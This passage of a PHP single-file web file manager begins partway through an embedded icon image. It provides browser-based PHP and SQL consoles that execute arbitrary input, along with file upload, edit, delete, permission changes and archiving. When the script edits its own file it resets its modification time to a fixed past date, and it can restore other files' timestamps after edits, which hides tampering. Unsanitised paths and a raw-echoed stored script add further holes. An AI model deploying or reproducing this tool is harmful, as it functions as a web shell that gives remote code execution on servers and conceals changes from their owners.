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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated');
		else $msg .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg .= (__('File updated')); 
		else $msg .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} else {
//Let's rock!
    $msg = '';
    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {
        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);
            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg .= __('Error occurred');
            } else {
				$msg .= __('Files uploaded').': '.$_FILES['upload']['name'];
			}
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_files(($path . $_REQUEST['delete']), true)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Deleted').' '.$_REQUEST['delete'];
		}
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Created').' '.$_REQUEST['dirname'];
		}
    } elseif(!empty($_POST['search_recursive'])) {
		ini_set('max_execution_time', '0');
		$search_data =  find_text_in_files($_POST['path'], $_POST['mask'], $_POST['search_recursive']);
		if(!empty($search_data)) {
			$msg .= __('Found in files').' ('.count($search_data).'):<br>';
			foreach ($search_data as $filename) {
				$msg .= '<a href="'.fm_url(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';
			}
		} else {
			$msg .= __('Nothing founded');
		}	
	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {
        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {
            $msg .= __('Error occurred');
        } else {
			fclose($fp);
			$msg .= __('Created').' '.$_REQUEST['filename'];
		}
    } elseif (isset($_GET['zip'])) {
		$source = base64_decode($_GET['zip']);
		$destination = basename($source).'.zip';
		set_time_limit(0);
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		if (is_file($destination))
		$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
		'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';
		else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['gz'])) {
		$source = base64_decode($_GET['gz']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		clearstatcache();
		set_time_limit(0);
		//die();
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		$phar->compress(Phar::GZ,'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}

			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['decompress'])) {
		// $source = base64_decode($_GET['decompress']);
		// $destination = basename($source);
		// $ext = end(explode(".", $destination));
		// if ($ext=='zip' OR $ext=='gz') {
			// $phar = new PharData($source);
			// $phar->decompress();
			// $base_file = str_replace('.'.$ext,'',$destination);
			// $ext = end(explode(".", $base_file));
			// if ($ext=='tar'){
				// $phar = new PharData($base_file);
				// $phar->extractTo(dir($source));
			// }
		// } 
		// $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
	} elseif (isset($_GET['gzfile'])) {
		$source = base64_decode($_GET['gzfile']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		set_time_limit(0);
		//echo $destination;
		$ext_arr = explode('.',basename($source));
		if (isset($ext_arr[1])) {
			unset($ext_arr[0]);
			$ext=implode('.',$ext_arr);
		} 
		$phar = new PharData($destination);
		$phar->addFile($source);
		$phar->compress(Phar::GZ,$ext.'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}
			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	}
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		<td>
		<?php if (!empty($fm_config['upload_file'])) { ?>
			<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
			<input type="hidden" name="path" value="<?=$path?>" />
			<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />
			<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
			<input type="submit" name="test" value="<?=__('Upload')?>" />
			</form>
		<?php } ?>
		</td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
